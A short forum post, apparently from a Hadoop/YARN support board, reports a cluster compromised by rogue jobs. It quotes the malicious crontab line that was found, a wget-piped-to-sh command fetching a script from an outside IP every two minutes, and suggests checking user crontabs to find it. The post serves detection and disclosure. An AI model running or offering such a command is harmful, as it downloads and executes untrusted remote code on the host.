I experienced the problem on a new cluster, it was flooded with strange jobs from nowhere. In my case, the following was found in the crontab of 'yarn' user on each host: */2 * * * * wget -q -O - http://185.222.210.59/cr.sh | sh > /dev/null 2>&1 So, the suggestion is first to check 'sudo -u yarn crontab -l' (or maybe sudo -u dr.who). Still don't know, how it was infected. ... View more